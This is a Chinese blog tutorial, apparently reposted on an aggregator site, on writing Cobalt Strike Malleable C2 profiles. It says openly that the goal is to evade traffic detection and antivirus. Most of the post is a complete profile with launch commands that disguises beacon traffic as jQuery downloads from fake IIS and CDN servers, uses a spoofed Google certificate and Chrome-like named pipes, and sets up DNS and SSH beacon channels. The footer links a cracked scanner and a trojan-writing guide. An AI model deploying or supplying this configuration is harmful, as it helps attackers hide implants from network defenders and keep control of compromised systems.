CobaltSrtike Malleable C2 Profile编写

2023-10-12 21:59

本文主要是介绍CobaltSrtike Malleable C2 Profile编写,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!


什么是 Malleable C2 Profile

Malleable C2 Profile是一个可以控制CobaltStrike流量特征的文件,可以通过修改配置文件来改变流量特征,从而躲避各种流量检测设备及防病毒系统

调用方法

./teamserver [Teamserver_IP] [Passwd] [C2_Path]# example./teamserver 127.0.0.1 NowSec666 C2Profile/C2.profile

检查方法

使用c2lint检查编写的Profile文件是否符合CobaltStrike要求

./c2lint C2_Path

Profile包含内容

global optionshttps-certificatehttp-get    cliet        metadata    server        output        http-post    client        metadata    server        output
http-stager

Profile配置示例

# 全局配置set sample_name "NowSec_C2_Profiel";set sleeptime "1200000";  # 心跳时间120秒,单位毫秒set jitter "45"; # 抖动值,单位百分比,参考sleeptime值进行抖动
set data_jitter "83"; # Beacon项TeamServer发送http-get、http-post数据时采用随机长度,但最长为设置长度
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36";  # Win10 Chrome UserAgent 用于模拟正常用户请求
# https证书配置-CobaltStrike自签名证书# 这部分配置需要与生成的cobaltstrike.store中的配置一致https-certificate{    set C "US";  #  Country 国家    set CN "GTS CA 1O1";  # Common Name域名    set O "Google Trust Service"; # Organization Name 组织名称    set OU "certificate Department";  # Organization Unit Name 组织单元名称    set validity "63"; # 证书失效天数}# TCP Beacon配置set tcp_port "12580"; # TCP默认端口set tcp_frame_header "\x80"; # 该配置是在TCP信息前追加特定字符
# SMB Beacon配置set pipename "mojo.5688.8052.183894939787088877##"; # 普通Chrome命名管道set pipename "mojo.5688.8052.35780273329370473##"; # 普通Chrome命名管道set smb_frame_header "\x80"; # 该配置实在smb信息前追加的特定字符
# DNS Beacon配置dns-beacon {    set dns_idle "8.8.8.8"; # Beacon不用时指定到的dns地址    set dns_max_txt "252"; # txt最大传输长度    set dns_sleep "0"; # 每个单独dns请求前强制睡眠时间    set dns_ttl "5"; # dns解析在服务器留存时间    set maxdns "255"; # 通过DNS上传数据时,最大主机名长度    set dns_stager_prepend ".resources.123456."; # 将字符串放在通过DNS TXT记录交付的编码有效负载阶段之前    set dns_stager_subhost ".feeds.123456."; # dns txt记录使用的子域set beacon "a.bc.";    set get_A "b.la.";    set get_AAAA "c.4a.";    set get_TXT "d.tx.";    set put_metadata "e.md.";    set put_output "f.po.";    set ns_response "zero";}
# 不同DNS通道说明# mode dns # 是DNS A记录数据通道# mode dns6 # 是DNS AAAA记录数据通道# mode dns-txt 是DNS TXT记录数据通道,DNS TXT记录是莫热门的数据通道# SSH Beacon# 使用SSH协议,进行P2P通信set ssh_banner "OpenSSH_7.4 Debian (proticol 2.0)"; # 配置SSH Beacon 的bannerset ssh_pipename "wkssvc##"; # 配置ssh通信命名管道
# beacon是通过stager下载到内存中去的。在beacon注入目标内存之前,http-get和http-post都不会生效。你可以自己定义stager下载stage的行为。http-stager {    # http-stargruri配置    set uri_x86 "/jquery-3.3.1.slim.min.js"; # 32位系统http beacon访问路径    set uri_x64 "/jquery-3.3.2.slim.min.js"; # 64位系统http beacon访问路径# server配置    server {        # header结构        # header "类型" "类型值";        header "Server" "MicroSoft-IIS/8.0";        header "Cache-Control" "max-age=0, no=cache";        header "Connection" "Keep-alive";        header "Content-Type" "application/javascript; charset=utf-8";output {            prepend "Jquery Code"; # 前置字符串            append "Jqery end COde"; # 结尾字符串            print; # 将数据存在body中        }    }# Clietn配置    client {        header "Accept" "text/html,appliction/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";        header "Accept-Language" "en-US,en;q=0.5";        header "Referer" "http://code.jquery.com/";        header "Accept-Encodeing" "gzip, default";    }}
http-get {    set uri "/jquery-3.3.1.min.js"; # 配置客户端请求URI    set verb "GET"; # 配置客户端请求方式client {        header "Accept" "text/html,appliction/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";        header "Referer" "http://code.jquery.com/";        header "Accept-Encodeing" "gzip, default";metadata {            base64url;            prepend "__cfduid=";            header "Cookie";        }    }server {        header "Server" "NetDNA-cache/2.2";        header "Cache-Control" "max-age=0, no-cache";        header "Pragma" "no-cache";        header "Connection" "keep-alive";        header "Content-Type" "application/javascript; charset=utf-8";output {            mask; # xor异或加密            base64url; # base64编码后,数据放入url中                        # 当出现两个prepend时,会先执行第二个,然后执行第一个            prepend "Jquery Stop Code"; # 前置字符串            prepend "Jquery Start Code"; # 前置字符串            append "Jqery end Code"; # 结尾字符串            print; # 将数据存在body中        }    }}
http-post {    set uri "/jquery-3.3.1.min.js";    set verb "POST";client {        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";        header "Referer" "http://code.jquery.com/";        header "Accept-Encoding" "gzip, deflate";id {            mask;            base64url;            parameter "__cfduid";        }output {            mask;            base64url;            print;        }    }server {        header "Server" "NetDNA-cache/2.2";        header "Cache-Control" "max-age=0, no-cache";        header "Pragma" "no-cache";        header "Connection" "keep-alive";        header "Content-Type" "application/javascript; charset=utf-8";output {            mask; # xor异或加密            base64url; # base64编码后,数据放入url中prepend "Jquery Code"; # 前置字符串            append "Jqery end COde"; # 结尾字符串            print; # 将数据存在body中        }    }}

数据转换

方法解释
base64base64方式编码
base64urlbase64编码后数据可放入url中
maskxor异或加密
netbiosSMB 传输过程中针对主机名的编码方式(NetBIOS编码‘a’)
netbiosuSMB 传输过程中针对主机名的编码方式(NetBIOS编码‘A’)

终止语句

方法解释
header "Cookie"将数据存储在http头Cookie字段中
parameter "key"将数据存储在URL中
print将数据存储在body中
uri-append将数据附加在URL中

参考文献

1、深入研究cobalt strike malleable C2配置文件

    https://xz.aliyun.com/t/2796

   2、参考示例C2文件

    https://github.com/threatexpress/malleable-c2

加入我的星球

下方查看历史文章

VulnHub之DC-1

VulnHub之DC-2

VulnHub之DC-3

VulnHub之DC-4

VulnHub之MuzzyBox

【工具分享】AWVS 12 汉化破解版

通达OA任意上传&文件包含漏洞复现

扫描二维码

获取更多精彩

NowSec

这篇关于CobaltSrtike Malleable C2 Profile编写的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/198747

相关文章

如何编写Linux PCIe设备驱动器 之二

如何编写Linux PCIe设备驱动器 之二 功能(capability)集功能(capability)APIs通过pci_bus_read_config完成功能存取功能APIs参数pos常量值PCI功能结构 PCI功能IDMSI功能电源功率管理功能 功能(capability)集 功能(capability)APIs int pcie_capability_read_wo

Wondows dos下怎么编写bat批处理文件

最近搞php,在运行时,以Nginx+php-cgi.exe方式运行Wordpress项目 打开dos,先cd到php-cgi.exe文件当前目录下执行启动命令:php-cgi.exe -b 127.0.0.1:9001再打开一个dos,再cd到nginx.exe文件当前目录下执行启动命令:start nginx 大概过程要经过这些步骤,觉得很麻烦,就学下怎么编写一个bat文件,以双击运行代替

用Python编写倒计时程序:详细教程

目录 引言 环境准备 基本概念 代码实现 步骤一:导入必要的库 步骤二:获取用户输入 步骤三:实现倒计时逻辑 步骤四:整合代码 运行程序 高级功能 扩展功能示例:支持分钟和小时输入 扩展功能示例:图形用户界面 (GUI) 总结 引言 倒计时程序是一个非常常见的小工具,广泛用于各种应用场景中,例如考试时间提醒、烹饪计时器、会议倒计时等。Python 作为一种

【Spring boot】编写代码及测试用例入门之 Hello Spring boot _踩坑记

先贴下目录: 这是我从 start.spring.io 里下载的依赖Web的模板 // DemoApplication.javapackage com.abloume.springboot.blog.demo;import org.springframework.boot.SpringApplication;import org.springframework.boot.autocon

windows下使用vscode编写运行以及调试C/C++

vscode支持类似于vs的断点调试c/c++,也可以直接编译&运行c/c++ 先是编译运行 c/c++的方法                              微软官方起初设定的科学做法(这也是现在的科学做法)是通过在vscode集成控制台写命令行的方式来实现编译运行程序的,但也可以通过code runner插件来简化步骤,实现一键编译执行 但无论是什么方法,因为vscod

Python编写简单登录系统的完整指南

在现代应用中,用户认证和登录系统是一个非常重要的功能。通过登录系统,应用能够识别用户的身份,并为其提供相应的权限和服务。本文将介绍如何使用Python编写一个简单的登录系统,包括用户注册、登录验证、密码加密等功能。通过这一教程,将学习如何构建一个基本的用户登录系统,并理解其中的关键技术。 这里插播一条粉丝福利,如果你在学习Python或者有计划学习Python,想在未来人工智能领域吃上一口饭的,

springboot项目编写发送异常日志到企微工具包

1.创建基础Bean public final class ThreadFactory implements java.util.concurrent.ThreadFactory {private static final AtomicInteger poolNumber = new AtomicInteger(1);private final ThreadGroup group;priva

基于IMX6ULL的Cortex-A中断原理讲解,以及编写其中断向量表

首先借助STM32我们需要了解中断系统是如何构成的         会有一个中断源,也就是能够向CPU发出中断请求的设备或事件。中断源不分硬件和软件,也就是产生中断信号,就会执行中断服务函数         但是CPU是如何知道中断源产生后就找到对应的中断服务函数呢,这个时候就要引入中断向量表,它的主要功能是描述中断对应的中断服务函数,每个中断源都有一个唯一的中断号(也称向量号),

编写一个统计空格制表符与换行符个数的函数

int main(int argc, char* argv[]) {  double nc,nc1,nc2;     nc = nc1 = nc2 =0;  int c;  while((c = getchar()) != EOF)  {   if(c == '\t')    nc++;   else if(c == ' ')    nc1++;   else if(c == '\n')

计算机木马详细编写思路

导语: 计算机木马(Computer Trojan)是一种恶意软件,通过欺骗用户从而获取系统控制权限,给黑客打开系统后门的一种手段。虽然木马的存在给用户和系统带来严重的安全风险,但是了解它的工作原理与编写思路,对于我们提高防范意识、构建更健壮的网络安全体系具有重要意义。本篇博客将深入剖析计算机木马的详细编写思路,以及如何复杂化挑战,以期提高读者对计算机木马的认识和对抗能力。 计算机木马的基本原